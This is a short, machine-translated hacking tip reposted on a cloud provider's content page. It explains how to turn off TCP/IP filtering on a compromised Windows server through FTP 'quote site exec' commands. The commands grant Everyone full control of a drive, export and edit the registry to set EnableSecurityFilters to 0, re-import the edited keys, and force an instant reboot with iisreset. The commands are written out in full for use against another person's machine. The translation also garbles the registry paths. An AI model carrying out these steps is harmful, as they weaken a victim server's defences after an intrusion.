Use FTP to filter out IP addresses

Source: Internet
Author: User

Quote site exec "cacls.exe d:/e/t/g everyone: F" # Set disk d to everyone. You can browse the disk so that you can download the exported file from disk d...

Quote site exec "regedit-e D: 1.reg HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesTcpip" # export the first entry on TCP/IP filtering in the Registry (-e D: 1.reg is exported and placed on drive D, file 1.reg)

Quote site exec "regedit-e D: 2.reg

HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesTcpip "# export the second entry about TCP/IP filtering in the Registry

Quote site exec "regedit-e D: 3.reg

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip "# export the third part about TCP/IP filtering in the Registry

Export all the data, and then return to ASP and put the three files down...

Edit the settings and change the TCP/IP filtering items. 1. reg finds "EnableSecurityFilters" = dword: 00000001, changes the last number 1 to 0, and then changes 2.reg, 3.reg, in the same way. save the changes... then upload and overwrite... OK .....

Run the FTP command ....

Quote site exec "regedit-s D: 1.reg"

Quote site exec "regedit-s D: 2.reg"

Quote site exec "regedit-s D: 3.reg"

OK .........

After the import, start from. Let's start it...

Quote site exec "iisreset/reboot/timeout: 00" # use his own iis service to restart his machine. The/timeout: 00 parameter allows him to restart immediately ..

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.